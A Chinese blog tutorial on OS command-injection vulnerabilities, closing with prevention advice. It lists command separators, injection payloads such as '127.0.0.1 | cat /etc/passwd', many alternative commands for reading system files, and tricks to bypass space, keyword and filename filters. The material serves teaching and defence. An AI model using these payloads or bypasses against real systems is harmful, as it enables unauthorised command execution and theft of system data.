首页 > 其他分享 >命令执行漏洞

命令执行漏洞

时间:2023-01-18 18:33:07浏览次数:31  
标签:输出 命令 etc passwd cat 漏洞 过滤 执行

命令执行漏洞

1.命令执行漏洞概要

命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅存在于B/S架构中,在C/S架构中也常常遇到

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞,如:ping 127.0.0.1 | whoami

2.连接符

|、 ||、&、&&、;

3.输出方式

cat:输出文件内容,如127.0.0.1 | cat /etc/passwd

tac:倒序输出

head:输出前几行

tail:输出后几行

grep:输出包含某一字符的行,如,grep '' /etc/passwd或grep . /etc/passwd(实际上这个点为正则表达式匹配)

例:127.0.0.1 | grep 'proxy' /etc/passwd

1

awk:awk {print} /etc/passwd

sed:sed '' /etc/passwd(同grep)

diff:对比两个文件,并输出他们的区别,diff /etc/passwd /etc/hostname

例:小于号是左边文件的内容,大于号是右边文件内容

2

less:less /etc/passwd

more:more /etc/passwd

od:二进制输出,od /etc/passwd

3

加上-a可以解码

4

xxd:xxd /etc/passwd

base64:可以对一个文件进行base64编码再输出

例:

5

再将其解码即可看到文件内容

curl:curl file:///etc/passwd(curl属于第三方软件包,不是所有Linux发行版都有

cp:cp /etc/passwd /dev/stdout

nl:按行号输出,nl /etc/passwd

sort:排序输出,sort /etc/passwd

uniq:uniq /etc/passwd

4.过滤绕过

空格过滤

①重定向符

cat</etc/passwd

cat<>/etc/passwd

②内部字段分隔符

cat${IFS}/etc/passwd

cat$IFS$9/etc/passwd

③变量绕过(bash中才可用)

f=$'\20/etc/passwd'&&cat$f 定义变量f,f就是空格/etc/passwd

替换为空

双写:cacatt /etc/passwd

关键字过滤

①反斜杠分割

c\at /etc/passwd

②空字符串分割

ca''t /etc/passwd

文件名过滤

如,检测输入是否存在passwd

通配符

cat /etc/pa*:输出/etc下所有pa开头的文件

例:

6

5.漏洞防范

①尽量不要使用命令执行函数

②在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符转义

③ 在使用动态函数之前,确保使用的函数是指定的函数之一

④ 客户端提交的变量在进入执行命令函数前要做好过滤和检测

总结:对PHP语言来说,不能完全控制的危险函数最好不要使用

调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法
避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要
测试网络连通性,应内置一个ip地址,而不是让用户自行输入

标签:输出,命令,etc,passwd,cat,漏洞,过滤,执行
From: https://www.cnblogs.com/vinslow/p/17060387.html

相关文章

  • 主题与皮肤系列(7)执行顺序
    因此我们很容易总结出:如果我们在stylesheettheme,theme,以及控件中为相同的属性应用了不同的样式,则优先顺序为:theme-控件-stylesheettheme,即这三个的执行顺序为:stylesheetthem......
  • 基本的Dos命令
    打开CMD的方式1.开始+系统+命令提示符2.win键+R输入cmd打开控制台(推荐使用)3.在任意的文件夹下面,按住shift+鼠标右击,在此处打开命令行窗口4.在资源管理器的地址栏前面......
  • adb shell 之 appops app控制命令
      允许后台运行------------appopssetorg.cloud.sonic.androidRUN_IN_BACKGROUNDallow允许发送信息-----------appopssetorg.cloud.sonic.androidPOST_NOTIFI......
  • HummerRisk V0.9.0:增加RBAC 拓扑图,云检测、漏洞、主机等模块增加规则
     HummerRiskV0.9.0发布:增加RBAC资源拓扑图,首页新增检查的统计数据,云检测、漏洞、主机等模块增加规则,对象存储增加京东云,操作审计增加金山云,镜像仓库新增设置别名。感谢社......
  • GO语言实现一个简单的命令行词典
    一个命令行词典,使用浏览器中的开发者工具进行抓包。拿到接口后再在IDE中进行实现。抓包打开检查后找到dict查看状态代码是否为POST,复制dict选择复制为cURL(bash)拿到接......
  • 使用VS2010开发人员命令提示窗口操作程序集强命名 使用 sn.exe的命令 sn -T d:\Lic
    使用VS2010命令提示窗口操作程序集强命名使用sn.exe的命令https://www.cnblogs.com/njl041x/p/3880967.html说明:文中示例均以将文件置于D盘根目录(D:\)下为例。一、查......
  • 执行pm2命令不定时弹窗
    具体情况在启动node.js后端服务时使用pm2进程管理工具使用pm2startxxx.js时出现弹窗,且不消失最好的解决办法更新pm2进程管理工具到最新版本npminstall-gpm2@l......
  • ping命令详解
    一、ping命令的作用ping命令的主要功能是用来检测网络的连通情况和分析网络速度。 二、ping命令参数ping[-t][-a][-ncount][-llength][-f][-ittl][-vtos]......
  • DTSE Tech Talk 第18期丨统计信息大揭秘,数仓SQL执行优化之密钥
    摘要:华为云EIDTSE技术布道师王跃,针对统计信息对于查询优化器的重要性,GaussDB(DWS)最新版本的analyze当前能力,与开发者和伙伴朋友们展开交流互动,帮助开发者快速上手使用统计......
  • DTSE Tech Talk 第18期丨统计信息大揭秘,数仓SQL执行优化之密钥
    摘要:华为云EIDTSE技术布道师王跃,针对统计信息对于查询优化器的重要性,GaussDB(DWS)最新版本的analyze当前能力,与开发者和伙伴朋友们展开交流互动,帮助开发者快速上手使用统......